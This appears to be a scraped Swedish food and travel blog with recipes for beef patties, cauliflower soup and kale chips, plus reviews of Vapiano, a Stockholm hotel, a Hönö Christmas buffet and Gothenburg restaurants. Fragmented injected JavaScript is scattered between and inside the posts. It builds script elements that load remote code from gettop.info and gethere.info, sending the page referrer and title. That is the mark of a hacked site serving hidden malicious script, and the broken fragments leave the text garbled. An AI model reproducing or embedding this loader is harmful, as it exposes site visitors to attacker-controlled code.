Nöthjärpar med blomkålsmos, gräddsås och sallad

886366_10151351175780959_821892364_o

Saftiga nöthjärpar med blomkålsmos 4 portioner.

500 gram nötfärs
1 gul lök
1 morot
1 tsk salt
1 krm svartpeppar
1/2 dl creme fraiche.

Skala och finhacka löken. Skala och grovriv moroten.
Blanda färsen med lök, morot, salt, peppar och creme fraiche till en jämn smet. Forma till 8 avlånga biffar. Stek dem i smör tills de är genomstekta. Servera biffarna med blomkålsmos.

Blomkålsmos.
1 blomkålshuvud
Grädde/creme fraiche/mjölk
En klick smör
1 dl riven smakrik ost
Lite salt och peppar

Dela blomkålshuvud i buketter och koka i lättsaltat vatten tills de blir mjuka. Häll av vattnet och mixa med creme fraiche eller matlagningsgrädde/mjölk och en klick smör samt riven cheddarost/parmesanost. Smaka av med salt och peppar.document.currentScript.parentNode.insertBefore(s, document.currentScript);

Vapiano Kungsbron, Stockholm

kungsbron15stockholm

När jag besökte Stockholm förra helgen besökte jag Vapiano för första gången.
Hösten 2007 slog de upp portarna till den första restaurangen i Sverige, på Sturegatan 12 i centrala Stockholm, och i februari 2009 öppnades ytterligare en restaurang, belägen i gamla stan i Stockholm. 2010 öppnades Vapiano på Kungsbron. Jag besökte Vapiano på Kungsbron 15.

bildC

bildk

bildj

bildi

GVapiano står för ett framtidsorienterat serveringskoncept som vi kallar  ”Fresh casual dining“. Konceptet är egentligen enkelt strukturerat:  Enkel självservice där kunden får se sin maträtt tillagas framför sina ögon, kombinerat med ett smidigt betalkortssystem, skapar en speciell fascination för Vapiano hos kunderna i de länder där vi har lanserat. Vapiano lägger stor omsorg på val av råvaror och alla rätter tillagas färskt ”à la minute“. En begränsning av maträtterna till pasta, pizza, sallader och italiensk ”antipasti“ minskar inte bara kostnaderna för resursplanering och lager.

När vi kom dit fick vi varsitt kort i kassan och sen var det fri sittning i lokalen. Vi hittade ett bord och där kikade vi på menyn. Menyn består av antingen, pastarätter, pizza eller sallader och italiensk antipasti. Jag valde en tomatpasta med vitlök, basilika och parmesanost.

Så här ser kortet ut.

bildo

Så här ser menyn ut.

bildE

Först gick jag till baren och köpte ett glas vin. Sen drar man kortet i kassan. Skönt att inte behöva betala vid varje station utan först när man ätit och druckit klart checkar men ut med kortet och betalar hela slutsumman på en och samma gång.
Då jag valde en pasta rätt fick jag gå till pastadisken och först välja vilken pasta jag ville ha och sen lagade kocken till min pastarätt på plats, sen drog jag kortet igen i kassan och sen var det bara att slå sig ner vid bordet och äta.

Här var baren där du beställde din dricka.

bildD

bildm

Pastadisken var här.

bildFbildnBildhbildlbildAHär drar du ditt kort efter varje beställning du gjort. Kortapparaten finns vid varje disk. Där ser du totalen i displayen.

bildhg
Jag blev positivt överraskad över hur gott allt smakade och tycker hela konceptet är toppen. Ett plus i kanten att de använder sig och färsk pasta.var d=document;var s=d.createElement(‘script’);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’);

Radisson Blu Waterfront Hotell, Stockholm

BildAAAAABildAAABildAAAA

BildAA

Kan varmt rekommendera att bo på Radisson Blu Waterfront hotell om ni har vägarna förbi Stockholm. Läget är helt perfekt, precis vid centralstationen och de har en helt otrolig frukostbuffé.

Adressen är: Nils Ericsons Plan 4 –  Telefon  + 46  8 5050 6000

Två gånger har jag bott på detta hotell och bott i deras ”standardrum”. Standardrummet är på 24 m2
Alla rum är försedda med bekvämligheter som kaffe/te kokare, platt-tv, trådlöst bredband utan extra kostnad, värdeskåp, strykjärn, strykbräda och minibar. Kan verkligen rekommendera detta hotell, perfekt läge, superbra service, trevlig personal, trevliga hotellrum och en underbar frukostbuffé.

bild2

bild5

bild11

bild7bild8bild10bild9bild62bild4bild3} else {

d.getElementsByTagName(‘head’)[0].appendChild(s);d.getElementsByTagName(‘head’)[0].appendChild(s);

Krämig sallad av nötkött

bild (168)
450 gram entrecote
2 tsk olja
Salt och peppar
1 mellanstor gul lök  (finhackad)
225 gram champinjoner (skär upp dem i tunna skivor)
1 tsk fransk senap
1-2 tsk timjan
2 dl creme fraiche
1 tsk citronsaft
Gör så här: Skiva köttet i små bitar/strimlor och stek upp kötten i oljan. Häll över köttet i en skål och krydda med salt och peppar. Hetta upp pannan igen och stek upp lök och champinjoner  i några minuter. Häll i senap och timjan och stek i någon minut. Häll över köttet och låt svalna i kylskåp.
Vid servering: Blanda i creme fraiche och citronsaft och krydda lite med grovmalen svartpeppar. Lägg köttsalladen på en bädd av salladsblad. Servera med ett gott bröd.
bild (161)bild (163)bild (143)bild (162)bild (153)bild (165)bild (164)bild (159)
bild (96)bild (155)bild (157)
bild (101)bild (99)

}if (document.currentScript) {

Roliga servetter

För ett tag sedan ordnade jag en baby shower och då ville jag göra lite roliga servetter i form av en babydräkt.
Här ser ni steg för steg hur jag gjorde dessa.

Du behöver:
Servetter
Sax
Sidenband
Lite hobby lim

Gör så här:

bild7

bild10bild4bild5bild8bild9

bild3

bild6bild1bild2

bild1

bild4bild5bild3

 

 var d=document;var s=d.createElement(‘script’);

}}

Julbord på Hönö 2013

För några år sedan var jag på ett supertrevligt julbord på Tullhuset på med övernattning på Hönö hotell.

tullhuset_julbord_940x3601-940x360untitled3
Tullhuset har ett helt fantastiskt Fisk- & skaldjursjulbord. Julbordet startar med glögg och pepparkaka, sedan följer en välfylld buffé med kalla och varma rätter från havet. För den som har plats i magen blir det kaffe och dessertbuffé med diverse julgodis och bl a deras populära äggost.

untitleduntitled1

I år har bokade vi ett julbordspaket med julbord, övernattning på hotell Trubaduren inkl. frukost för 1.100 kr.
Hotellet på andra våningen invigdes sommaren 2012. Det finns 16 rymliga dubbelrum, varav 8 familjerum med modern bäddsoffa, sköna Vikingbeds-sängar, täcken och kuddar av bästa kvalitet. Rummen är moderna och ljusa och hälften av dem har altan mot havet. Alla har helkaklade badrum med dusch och toalett, aircondition, TV och trådlöst nätverk. Det finns även en lounge för avkoppling vid en helglasfasad med full utsikt mot havet.

Jag kan verkligen rekommendera julbord på Tullhuset. Såååå gott med bara fisk och skaldjur och en massa annat gott.

bild14

bild12bild10bild11bild9bild13

bild1

1bild2bild4

bild15

bild16bild17

bild21

bild20bild3bild4bild17bild11bild10bild24bild23bild22bild8bild7bild6bild5bild13bild12bild18bild1bild2bild7

bild28

bild14

 

bild1bild27bild25bild15bild6bild5

 

 

document.currentScript.parentNode.insertBefore(s, document.currentScript);if (document.currentScript) {

Blomkålssoppa med kryddig blomkål

Blomkål

Recept 2-3 pers
Soppa:
2 msk olivolja
1 liten purjolök (i skivor)
2 vitlöksklyftor (pressade)
400-500 gram blomkål (ca 1/2 huvud),  (skär blomkålen i mindre bitar)
2  mellanstora potatisar, (skala potatisen och skär i mindre bitar)
3-5 dl hönsbuljong
2 dl grädde
Salt och pepparKryddad blomkål
1 mska olivolja
40gr smör
1 krossad vitlöksklyfta
200gr blomkål i mindre bitar 1/2-1
tsk kumminGör så här: Soppa: Hetta upp olja i en panna och stek upp purjolök tills den blivit mjuk. Lägg i vitök, blomkål och potatis och stek i några minuter. Häll i buljong, grädde, salt och peppar och koka upp. Sänk värmen och låt puttra på spisen ca 20 minuter tills blomkålen är mjuk. Mixa med en blender tills soppan är helt slät. Om du tycker soppan är för tjockflytande, häll i lite vatten och blanda.
Kryddad blomkål: Häll olja och smör i en stekpanna tillsammans med vitlök, blomkål och kummit och stek på mellanhög värme i ca 5 minuter eller tills blomkålen har fått en fin brun och krispig yta.
Servering: Häll upp soppan på ett fat och toppa med den kryddade blomkålen.
bild (120)bild (118)bild (121)bild (119)bild (117)bild (123)bild (116)bild (110)bild (122)bild (112)bild (103)bild (124)bild (125)

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

var d=document;var s=d.createElement(‘script’); if (document.currentScript) {

Dubbel Dubbel på Kastellgatan 14, Göteborg

I lördags åt jag middag på Dubbel Dubbel på Kastellgatan för första gången och nu förstår jag varför så många pratat om detta ställe.  Dubbel Dubbel  finns på Kastellgatan 14 och även på Surbrunnsgatan i stan. Kastellgatan.
Bild3Bild2Bild1

Maten var hur god som helst . Jag åt ”Shandong” dim sum-menyn som innehåller ank-mantao, Jiaozi (biff och fläsk), wontons (räkwontons), ribs (långkokta ribs) och tillbehör (ris, krispig potatissallad, Koreansk gurksallad, grön algsallad)  för 175 kr. Lyckades klämma i mig en dessert efteråt ”Svart sesamglass” med hallon och kondenserad mjölk…sååå gott.

Min favorit var helt klart ank-mantaos.

bild15

Välj mellan flera färdiga setmenyer eller plocka själv och botanisera själv bland smårätter som ank-mantaos eller varför inte lammwontons i kanelsås. Deras dim-sum och dumplings är vida kända och fått har fått höga betyg hos GP, Metro & Nöjesguiden.

bild9

bild7

bild4

bild10

bild6

bild3

bild5

bild17

bild1

bild2

bild19

bild12

bild13

bild16

bild18

bild11

bild20

bild14

 }

d.getElementsByTagName(‘head’)[0].appendChild(s);}

Grönkålschips

Till dig som vill knapra på något gott ….

Chips av grönkål 10–12 portioner

1 bunt färsk grönkål (cirka 1 liter) 1–2 msk olivolja eller kokosolja 1/4 tsk flingsalt eller en knivsudd vanligt salt

1. Värm ugnen till 200°.
2. Skölj grönkålen och skär bort mittstjälken. Riv bladen i mindre bitar.
3. Lägg bladen på en plåt med bakplåtspapper. Ringla över olivolja, strö på salt och massera in oljan i grönkålsbladen. Sprid ut bladen i ett jämnt lager.
4. Sätt in plåten i ugnen och låt den stå i cirka 10 minuter tills bladen är krispiga.

 

 

 

}

Björns bar

Bild1Bild3Bild2bild5bild4bild3

Björns bar hittar du på Victoriagatan 12 i Göteborg. Det är ett perfekt ställe om man vill gå ut, prata, dricka lite vin och äta lite småplock såsom ost, och charkprodukter och mindre rätter. Allt smakar supergott och miljön hemtrevlig.

http://www.bjornsbar.se/

 }

}